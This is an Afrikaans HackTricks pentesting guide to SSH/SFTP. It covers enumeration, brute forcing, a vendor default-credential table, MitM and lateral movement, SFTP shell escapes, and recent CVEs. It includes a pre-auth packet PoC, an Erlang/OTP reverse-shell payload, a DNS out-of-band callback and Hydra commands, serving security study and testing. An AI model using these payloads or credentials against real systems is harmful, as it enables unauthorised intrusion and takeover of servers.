22 - Pentesting SSH/SFTP

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

SSH (Secure Shell or Secure Socket Shell) is ’n netwerkprotokol wat ’n veilige verbinding na ’n rekenaar oor ’n onbeveiligde netwerk moontlik maak. Dit is noodsaaklik om die vertroulikheid en integriteit van data te handhaaf wanneer toegang tot afgeleë stelsels verkry word.

Standaardpoort: 22

22/tcp open  ssh     syn-ack

SSH servers:

  • openSSH – OpenBSD SSH – ingesluit in BSD- en Linux-distributies en in Windows sedert Windows 10
  • Dropbear – SSH-implementering vir omgewings met beperkte geheue- en verwerkerhulpbronne, ingesluit in OpenWrt
  • PuTTY – SSH-implementering vir Windows; die client word algemeen gebruik, maar die gebruik van die server is minder algemeen
  • CopSSH – implementering van OpenSSH vir Windows

SSH libraries (implementing server-side):

  • libssh – multiplatform C-biblioteek wat die SSHv2-protokol implementeer met bindings in Python, Perl en R; dit word deur KDE vir sftp gebruik en deur GitHub vir die git SSH-infrastruktuur
  • wolfSSH – SSHv2 server-biblioteek geskryf in ANSI C en gerig op embedded-, RTOS- en hulpbron-beperkte omgewings
  • Apache MINA SSHD – Apache SSHD Java-biblioteek is gebaseer op Apache MINA
  • paramiko – Python SSHv2 protokolbiblioteek

Enumeration

nc -vn <IP> 22

Outomatiese ssh-audit

ssh-audit is ’n hulpmiddel vir die ouditering van ssh-bediener- en kliëntkonfigurasies.

https://github.com/jtesta/ssh-audit is ’n opgedateerde fork van https://github.com/arthepsy/ssh-audit/

Kenmerke:

  • Ondersteuning vir SSH1- en SSH2-protokolbedieners;
  • analiseer SSH-kliëntkonfigurasie;
  • vang banner, herken toestel of sagteware en bedryfstelsel, ontdek kompressie;
  • versamel key-exchange-, host-key-, encryption- en message authentication code-algoritmes;
  • gee algoritme-inligting uit (beskikbaar sedert, verwyder/deaktiveer, onveilig/swak/verouderd, ens.);
  • gee algoritme-aanbevelings uit (voeg by of verwyder gebaseer op herken sagtewareweergawe);
  • gee sekuriteitsinligting uit (verwante probleme, toegekende CVE-lys, ens.);
  • analiseer SSH-weergawekompatibiliteit gebaseer op algoritme-inligting;
  • historiese inligting van OpenSSH, Dropbear SSH en libssh;
  • hardloop op Linux en Windows;
  • geen afhanklikhede
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Publieke SSH-sleutel van die bediener

ssh-keyscan -t rsa <IP> -p <PORT>

Swak siferalgoritmes

Dit word standaard ontdek deur nmap. Maar jy kan ook sslcan of sslyze gebruik.

Nmap scripts

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

In sommige weergawes van OpenSSH kan jy ’n timing attack gebruik om gebruikers te identifiseer. Jy kan ’n metasploit module gebruik om dit te exploit:

msf> use scanner/ssh/ssh_enumusers

Brute force

Sommige algemene ssh credentials here en here en hieronder.

Private Key Brute Force

As jy ’n paar ssh private keys ken wat gebruik kan word… kom ons probeer dit. Jy kan die nmap script gebruik:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Of die MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

Of gebruik ssh-keybrute.py (native python3, liggewig en het legacy-algoritmes aangeskakel): snowdroppe/ssh-keybrute.

Bekende badkeys kan hier gevind word:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Swak SSH-sleutels / Debian voorspelbare PRNG

Party stelsels het bekende foute in die willekeurige saad wat gebruik word om kriptografiese materiaal te genereer. Dit kan tot ’n dramaties verminderde sleutelruimte lei wat bruteforced kan word. Vooraf-genereerde stelle sleutels wat op Debian-stelsels geproduseer is en deur die swak PRNG geraak is, is hier beskikbaar: g0tmi1k/debian-ssh.

Jy moet hier kyk om na geldige sleutels vir die slagoffer-masjien te soek.

Kerberos / GSSAPI SSO

As die teiken SSH-bediener GSSAPI ondersteun (byvoorbeeld Windows OpenSSH op ’n domain controller), kan jy verifieer deur jou Kerberos TGT te gebruik in plaas van ’n wagwoord.

Werksvloei vanaf ’n Linux aanvalergasheer:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Aantekeninge:

  • As jy met die verkeerde naam verbind (bv., kort host, alias, of verkeerde volgorde in /etc/hosts), kan jy kry: “Server not found in Kerberos database” omdat die SPN nie ooreenstem nie.
  • crackmapexec ssh --kerberos kan ook jou ccache vir Kerberos auth gebruik.

Standaard Kredensiale

VerskafferGebruikersnameWagwoorde
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

As jy in die plaaslike netwerk is en die slagoffer gaan met gebruikersnaam en wagwoord na die SSH-bediener koppel, kan jy probeer om ’n MitM-aanval uit te voer om daardie kredensiale te steel:

Attack path:

  • Traffic Redirection: Die aanvaller lei die slagoffer se verkeer na hul masjien om die verbindingspoging na die SSH-bediener effektief te onderskep.
  • Interception and Logging: Die aanvaller se masjien tree op as ’n proxy en capture die gebruiker se aanmeldbesonderhede deur voor te gee dat dit die legitime SSH-bediener is.
  • Command Execution and Relay: Laastens log die aanvaller se bediener die gebruiker se kredensiale, stuur die opdragte deur na die regte SSH-bediener, voer dit uit, en stuur die resultate terug na die gebruiker, wat die proses naatloos en legitim laat lyk.

SSH MITM doen presies wat hierbo beskryf is.

Om die werklike MitM vas te vang/uit te voer, kan jy tegnieke gebruik soos ARP spoofing, DNS spoofin of ander soos beskryf in die Network Spoofing attacks.

SSH-Snake

As jy ’n netwerk wil deurkruis met ontdekke SSH private sleutels op stelsels, en elke private sleutel op elke stelsel gebruik vir nuwe hosts, dan is SSH-Snake wat jy nodig het.

SSH-Snake voer die volgende take outomaties en rekursief uit:

  1. Op die huidige stelsel, vind enige SSH private sleutels,
  2. Op die huidige stelsel, vind enige hosts of bestemmings (user@host) waar die private sleutels moontlik aanvaar sal word,
  3. Probeer om na al die bestemmings te SSH met al die private sleutels wat gevind is,
  4. Indien ’n bestemming suksesvol bereik word, herhaal dit stappe #1 - #4 op die gekoppelde stelsel.

Dit is volledig self-repliserend en self-propagërend — en heeltemal fileless.

Konfigurasiefoute

Root-aanmelding

Dit is algemeen dat SSH-bedieners standaard root-gebruiker toelaat om aan te meld, wat ’n beduidende sekuriteitsrisiko inhou. Die uitskakeling van root-aanmelding is ’n kritieke stap in die beveiliging van die bediener. Ongeoorloofde toegang met administratiewe voorregte en brute force-aanvalle kan afgewend word deur hierdie instelling te verander.

To Disable Root Login in OpenSSH:

  1. Edit the SSH config file met: sudoedit /etc/ssh/sshd_config
  2. Change the setting from #PermitRootLogin yes to PermitRootLogin no.
  3. Reload the configuration using: sudo systemctl daemon-reload
  4. Restart the SSH server to apply changes: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

Daar is ’n algemene oorblyfsel in SFTP-opstellings waar administrateurs beplan dat gebruikers slegs lêers moet wissel sonder om remote shell-toegang te gee. Ten spyte daarvan dat gebruikers gestel word met nie-interaktiewe shells (bv., /usr/bin/nologin) en vasgemaak word tot ’n spesifieke gids, bly daar ’n sekuriteitslek. Gebruikers kan hierdie beperkings omseil deur die uitvoering van ’n opdrag (soos /bin/bash) onmiddellik na aanmelding te versoek, voor hul aangewese nie-interaktiewe shell in werking tree. Dit maak ongewensde opdraguitvoering moontlik en ondermyn die beoogde sekuriteitsmaatreëls.

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Hier is ’n voorbeeld van ’n veilige SFTP-konfigurasie (/etc/ssh/sshd_config – openSSH) vir die gebruiker noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Hierdie konfigurasie sal slegs SFTP toelaat: dit skakel shell access uit deur die start command af te dwing en TTY access uit te skakel, maar dit skakel ook alle vorme van port forwarding of tunneling uit.

SFTP Tunneling

Indien jy toegang het tot ’n SFTP server kan jy ook jou verkeer daardeur tunnel, byvoorbeeld deur die algemene port forwarding te gebruik:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

Die sftp het die opdrag “symlink”. Daarom, as jy skryfregte in ’n gids het, kan jy symlinks na ander gidse/bestande skep. Aangesien jy waarskynlik trapped binne ’n chroot is, sal dit nie besonder nuttig vir jou wees nie, maar as jy die geskepte symlink vanaf ’n no-chroot service kan access (byvoorbeeld, as jy die symlink vanaf die web kan toegang kry), kan jy die symlinked files deur die web open.

Byvoorbeeld, om ’n symlink van ’n nuwe lêer froot” na “/:

sftp> symlink / froot

As jy die lêer “froot” via die web kan benader, sal jy die root (“/”) gids van die stelsel kan lys.

Verifikasietegnieke

In ’n hoë-sekuriteitsomgewing is dit algemene praktyk om slegs sleutel-gebaseerde of twee-faktor verifikasie te aktiveer eerder as eenvoudige wagwoord-gebaseerde verifikasie. Maar dikwels word die sterker verifikasiemetodes aangeskakel sonder om die swakker een uit te skakel. ’n Gereelde geval is om publickey in die openSSH-konfigurasie te aktiveer en dit as die standaardmetode te stel, maar nie password uit te skakel nie. Deur die verbose-modus van die SSH-client te gebruik, kan ’n aanvaller dus sien dat ’n swakker metode aangeskakel is:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Byvoorbeeld, as authentication failure limit ingestel is en jy nooit die kans kry om die password-metode te bereik nie, kan jy die PreferredAuthentications opsie gebruik om te dwing dat hierdie metode gebruik word.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Dit is nodig om die SSH-bediener se konfigurasie te hersien om te kontroleer dat slegs verwagte metodes geautoriseer is. Om die verbose-modus op die kliënt te gebruik, kan help om die doeltreffendheid van die konfigurasie te bepaal.

Konfigurasielêers

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Onlangse Kritieke Kwesbaarhede (2024)

CVE-2024-6387 – regreSSHion signal-handler race

OpenSSH 8.5p1–9.7p1 het die async-safe logging guard binne sshd se SIGALRM handler verwyder, wat CVE-2006-5051 herintroduseer en dit vir ongeauthentiseerde aanvalle toelaat om die glibc heap te korrupteer sodra LoginGraceTime verstryk. Qualys het die fout gematerialiseer vir root RCE op 32-bit Linux en het opgemerk dat 64-bit teikens met genoeg herhaalde grooming-pogings steeds brute-forceerbaar bly, so prioritiseer hosts wat daardie weergawes steeds openbaar tydens banner-grabs.

Eksploitasie is tydgebaseer: bombardeer die daemon met half-geslote sessies wat nooit autentikeer nie, sodat die privileged monitor herhaaldelik die kwesbare seinpad tref terwyl jy die allocator-toestand vorm.

Operator tips:

  • Fingerprint builds met ssh -V (remote banner) of ssh -G <target> | grep ^userauths en bevestig dat LoginGraceTime nie nul is nie.
  • Pressure-test ’n lab-teiken deur kortstondige sessies wat geen autentisering versoek nie te spam; byvoorbeeld:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
  • Hosts wat LoginGraceTime 0 afdwing raak nooit daardie buggy code path nie—verwacht slegs ’n DoS-weergawe deur MaxStartups uit te put.

CVE-2024-3094 – xz/liblzma supply-chain backdoor

XZ Utils 5.6.0 en 5.6.1 het trojanized release tarballs gestuur waarvan die build-skripte ’n verborge object ontpak tydens Debian/RPM packaging op x86-64 Linux. Die payload misbruik glibc se IFUNC resolver om RSA_public_decrypt in sshd te hook (wanneer systemd patches liblzma dwing om te laai) en aanvaar attacker-signed pakkette vir pre-auth code uitvoering.

Aangesien die kwaadwillige logika slegs binne daardie gepakket-binaries leef, moet offensiewe validering nagaan wat die slagoffer werklik geïnstalleer het: kyk xz --version, rpm -qi xz/dpkg -l xz-utils, vergelyk hashes van /usr/lib*/liblzma.so*, en inspekteer ldd /usr/sbin/sshd | grep -E "systemd|lzma" om te sien of sshd die gekompromiseerde afhanklikheid selfs laai. Die hook bly dormant tensy die proses-pad /usr/sbin/sshd is, so die distro build-omgewing herbou is dikwels benodig om die backdoor in ’n lab te reproduseer.

Authentication State-Machine Bypass (Pre-Auth RCE)

Verskeie SSH-server-implementasies bevat logiese foute in die authentication finite-state machine wat ’n kliënt toelaat om connection-protocol boodskappe voordat die autentisering voltooi is te stuur. Omdat die bediener misluk om te verifieer dat dit in die korrekte toestand is, word daardie boodskappe hanteer asof die gebruiker volledig geauthentiseer is, wat lei tot unauthenticated code execution of sessieskepping.

Op protokolvlak behoort enige SSH-boodskap met ’n message code ≥ 80 (0x50) aan die connection laag (RFC 4254) en moet slegs aanvaar word na suksesvolle autentisering (RFC 4252). Indien die bediener een van daardie boodskappe verwerk terwyl dit nog in die SSH_AUTHENTICATION toestand is, kan die aanvaller onmiddellik ’n channel skep en aksies versoek soos command execution, port-forwarding, ens.

Generiese Eksploitasie-stappe

  1. Stel ’n TCP-verbinding op met die teiken se SSH-poort (gewoonlik 22, maar ander dienste kan Erlang/OTP op 2022, 830, 2222… blootstel).
  2. Skep ’n rou SSH-pakket:
    • 4-byte packet_length (big-endian)
    • 1-byte message_code ≥ 80 (bv. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
    • Payload wat deur die gekose boodskaptipe verstaan sal word
  3. Stuur die pakket(te) voordat enige autentiseringsstap voltooi is.
  4. Interaksie met die server-APIs wat nou pre-auth blootgestel is (command execution, port forwarding, file-system access, …).

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

In die praktyk sal jy die key-exchange volgens die teiken-implementasie moet uitvoer (of oorslaan), maar no authentication word nooit uitgevoer nie.


Erlang/OTP sshd (CVE-2025-32433)

  • Geaffekteerde weergawes: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Hoof oorsaak: Die Erlang native SSH daemon valideer nie die huidige toestand voordat dit ssh_connection:handle_msg/2 aanroep nie. Daarom bereik enige pakket met ’n boodskapkode 80-255 die connection handler terwyl die sessie nog in die userauth state is.
  • Impak: unauthenticated remote code execution (die daemon loop gewoonlik as root op embedded/OT devices).

Voorbeeld payload wat ’n reverse shell sal spawn, gebind aan die attacker-controlled channel:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection kan uitgevoer word deur DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Opsporing & Mitigering:

  • Kontroleer SSH-verkeer: laat enige pakket val met boodskapkode ≥ 80 wat waargeneem word voor verifikasie.
  • Opgradeer Erlang/OTP na 27.3.3 / 26.2.5.11 / 25.3.2.20 of nuwer.
  • Beperk blootstelling van management-poorte (22/2022/830/2222) – veral op OT-toerusting.

Ander implementasies wat geraak word

  • libssh 0.6 – 0.8 (bedienerkant) – CVE-2018-10933 – aanvaar SSH_MSG_USERAUTH_SUCCESS wat ongeverifieerd deur die kliënt gestuur is, effektief die omgekeerde logika-fout.

Die algemene les is dat enige afwyking van die deur die RFC vereiste staatsoorgange noodlottig kan wees; wanneer jy SSH-daemons hersien of fuzzing doen, gee besondere aandag aan afdwinging van die staatmasjien.

Verwysings

HackTricks Outomatiese Opdragte

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks